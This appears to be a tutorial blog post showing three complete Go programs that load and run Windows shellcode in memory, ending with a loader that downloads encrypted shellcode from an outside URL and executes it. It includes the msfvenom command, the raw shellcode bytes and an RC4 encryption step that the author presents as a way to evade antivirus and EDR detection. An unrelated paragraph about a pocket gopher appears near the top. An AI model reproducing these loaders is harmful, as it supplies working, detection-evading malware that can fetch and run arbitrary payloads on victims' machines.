GoLang malware utilyzing rc4 encryption to avoid shellcode detection
Published: 2023-07-11
Attwater’s pocket gopher (Geomys attwateri) from Colorado County, Texas, USA: found on Weishuhn Road [County Road 52], 29.8271°N, 96.4812°W, 117 m., 12 May 2014. The identification of this Pocket Gopher is based on geographic distribution in Schmidly, David J. 1994. The Mammals of Texas, 6th ed. University of Texas Press, Austin. xviii, 501 pp. and Reid, Fiona A. 2006. A Field Guide to Mammals of North America 4th ed. Houghton Mifflin Company, Boston, Massachusetts. xix, 579 pp.
We’re going to go through 3 versions of a simple malware that pushes shellcode to memory on Windows.
Usage: Generate payloads and run encrypter.go script on Linux, the sample.go skrpts are for Windo3s and they will not compile on Linux.
teh f we are doing
Uhh. Slipping secret code into memory, doing evil, malicious things… for good. Making your windows box run calc.exe. Taking gibberish, putting it in memory because computers like gibberish and windows will execute it.
teh f is teh sh3llc0de?
Its bytes of hex, its what a program looks like in memory.
This shellcode executes calc.exe
Generate the shellcode
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o shellcode.bin
View the shellcode as memory addresses and ascii
hexdump -C shellcode.bin
Format the shellcode for our byte slice array
hexdump -ve '1/1 "0x%.2x, "' shellcode.bin
So dis iz ta shellc0d3z…
shellcode
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
go run sample-1.go
sample-1.go: unencrypted shellcode gets pushed to memory. This gets easily busted by edr.
package main
import (
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
virtualAlloc = kernel32.NewProc("VirtualAlloc")
virtualProtect = kernel32.NewProc("VirtualProtect")
createThread = kernel32.NewProc("CreateThread")
waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
rtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)
const (
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READ = 0x20
INFINITE = 0xFFFFFFFF
)
func executeShellcode(shellcode []byte) {
// Allocate memory for the shellcode
mem, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
// Copy the shellcode to the allocated memory
rtlMoveMemory.Call(mem, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
// Change memory protection to executable
var oldProtect uint32
virtualProtect.Call(mem, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
// Create a new thread to execute the shellcode
thread, _, _ := createThread.Call(0, 0, mem, 0, 0, 0)
// Wait for the thread to finish
waitForSingleObject.Call(thread, uintptr(INFINITE))
}
func main() {
shellcode := []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
}
executeShellcode(shellcode)
}
Wait, does W1ndoes know about teh shellcodez? Yep, it knows…
We need to encrypt teh shellc0dez so Weendows doesn’t know… One can run the encrypter on Windows, but it gets flagged (have to turn off defender). Instead run encrypt.go on linux since we were just using hexdump anyway and its a better workflow… You definately don’t want you encryption script left on a target.
go run encrypt.go encrypted_shellcode.bin
encrypt.go: encrypts the raw shellcode with rc4 encryption using a key and outputs it to a file on disk
package main
import (
"crypto/rc4"
"io/ioutil"
"log"
"os"
)
func main() {
if len(os.Args) < 2 {
log.Fatal("Usage: go run main.go <output file>")
}
// Shellcode variable
shellcode := []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
}
// Set the RC4 key
key := []byte("Secret")
// Create a new RC4 cipher with the key
cipher, err := rc4.NewCipher(key)
if err != nil {
log.Fatal("Error creating RC4 cipher:", err)
}
// Encrypt the shellcode
cipher.XORKeyStream(shellcode, shellcode)
// Write the encrypted shellcode to the output file
outputFile := os.Args[1]
err = ioutil.WriteFile(outputFile, shellcode, 0644)
if err != nil {
log.Fatal("Error writing output file:", err)
}
log.Println("Encryption completed successfully.")
}
T3h encrypted shellcode looks like this… Much different than the raw shellcode, so it goes unnoticed.
encrypted_shellcode.bin
�����@�YArq{����dY��<�%}��
P>{��=�Fe=���� _�nzk�����[�}��%�?��������g�ُ�\nl��(��WwlC�m�;
E���u��~�$��k���i�&t�i;M(e;J�|�uv��}� '����J9��a
1nC�����
�ˏ����F�������ϚX�9y�n�Xa�;ŀ̸�4
`����>lig����
�wHW�`
���Ce^F+�G�w�q�o#��( �o�[�F&4���z3�$̳_�
We are safe from w1ndoze for the moment, no detections when we aren’t using known shellcode in our script.
We decrypt the rc4 encrypted shellcode stored on disk and push it to memory
go run sample-2.go
sample-2.go: rc4 decrypt and push to memory.
package main
import (
"crypto/rc4"
"fmt"
"io/ioutil"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
virtualAlloc = kernel32.NewProc("VirtualAlloc")
virtualProtect = kernel32.NewProc("VirtualProtect")
createThread = kernel32.NewProc("CreateThread")
waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
rtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)
const (
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READ = 0x20
INFINITE = 0xFFFFFFFF
)
func executeShellcode(shellcode []byte) {
// Allocate memory for the shellcode
mem, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
// Copy the shellcode to the allocated memory
rtlMoveMemory.Call(mem, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
// Change memory protection to executable
var oldProtect uint32
virtualProtect.Call(mem, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
// Create a new thread to execute the shellcode
thread, _, _ := createThread.Call(0, 0, mem, 0, 0, 0)
// Wait for the thread to finish
waitForSingleObject.Call(thread, uintptr(INFINITE))
}
func decryptRC4(key, ciphertext []byte) []byte {
cipher, err := rc4.NewCipher(key)
if err != nil {
fmt.Errorf(err.Error())
}
plaintext := make([]byte, len(ciphertext))
cipher.XORKeyStream(plaintext, ciphertext)
return plaintext
}
func main() {
// Load the encrypted shellcode from the file
filePath := "encrypted_shellcode.bin"
encryptedShellcode, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Errorf(err.Error())
}
fmt.Println("[+] Encrypted shellcode:")
fmt.Println(string(encryptedShellcode))
// Decrypt the shellcode using RC4 with a key
key := []byte("Secret")
decryptedShellcode := decryptRC4(key, encryptedShellcode)
fmt.Println("[+] Decrypted shellcode:")
fmt.Println(string(decryptedShellcode))
// Execute the decrypted shellcode in memory
executeShellcode(decryptedShellcode)
}
Take that Windoz3!
What if we don’t know what our payload is going to be? Like maybe we want a file on the internet we can adjust to our needs spontaneously, or maybe we download the file once a day to get updated payloadz… We could really step up our game and read the encryption key from the internet, so its never hardcoded, but thats for another day. The following is a basic example of a payload download.
Let’s download the rc4 encrypted shellcode from this blog
sample-3.go: download rc4 encrypted shellcode, decrypt, push to memory.
package main
import (
"crypto/rc4"
"fmt"
"io/ioutil"
"net/http"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
virtualAlloc = kernel32.NewProc("VirtualAlloc")
virtualProtect = kernel32.NewProc("VirtualProtect")
createThread = kernel32.NewProc("CreateThread")
waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
rtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)
const (
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READ = 0x20
INFINITE = 0xFFFFFFFF
)
func executeShellcode(shellcode []byte) {
// Allocate memory for the shellcode
mem, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
// Copy the shellcode to the allocated memory
rtlMoveMemory.Call(mem, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
// Change memory protection to executable
var oldProtect uint32
virtualProtect.Call(mem, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
// Create a new thread to execute the shellcode
thread, _, _ := createThread.Call(0, 0, mem, 0, 0, 0)
// Wait for the thread to finish
waitForSingleObject.Call(thread, uintptr(INFINITE))
}
func decryptRC4(key, ciphertext []byte) []byte {
cipher, err := rc4.NewCipher(key)
if err != nil {
fmt.Errorf(err.Error())
}
plaintext := make([]byte, len(ciphertext))
cipher.XORKeyStream(plaintext, ciphertext)
return plaintext
}
func downloadFile(url string, filePath string) error {
// Send GET request to the server
response, err := http.Get(url)
if err != nil {
return err
}
defer response.Body.Close()
// Read the response body into a byte slice
fileData, err := ioutil.ReadAll(response.Body)
if err != nil {
return err
}
// Write the byte slice to the output file
err = ioutil.WriteFile(filePath, fileData, 0644)
if err != nil {
return err
}
return nil
}
func main() {
filePath := "encrypted_shellcode.bin"
url := "http://timsonner.com/encrypted_shellcode.bin"
fmt.Printf("[+] Downloading file: %s \n", url)
err := downloadFile(url, filePath)
if err != nil {
fmt.Errorf(err.Error())
}
encryptedShellcode, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Errorf(err.Error())
}
fmt.Println("[+] Encrypted shellcode:")
fmt.Println(string(encryptedShellcode))
// Decrypt the shellcode using RC4 with a key
key := []byte("Secret")
decryptedShellcode := decryptRC4(key, encryptedShellcode)
fmt.Println("[+] Decrypted shellcode:")
fmt.Println(string(decryptedShellcode))
// Execute the decrypted shellcode in memory
fmt.Println("[+] Shellcode headed to memory...")
executeShellcode(decryptedShellcode)
}